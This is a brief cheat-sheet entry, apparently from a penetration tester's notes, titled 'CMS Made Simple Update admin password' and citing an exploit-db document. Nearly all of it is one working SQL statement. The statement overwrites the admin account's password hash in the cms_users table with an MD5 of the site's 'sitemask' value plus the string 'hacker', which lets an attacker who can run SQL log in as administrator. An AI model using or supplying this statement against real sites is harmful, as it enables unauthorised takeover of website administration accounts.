CMS Made Simple Update admin password update cms_users set password = (select md5(CONCAT(IFNULL((SELECT sitepref_value FROM cms_siteprefs WHERE sitepref_name = 'sitemask'),''),'hacker'))) where username = 'admin'; Doc https://www.exploit-db.com/docs/49947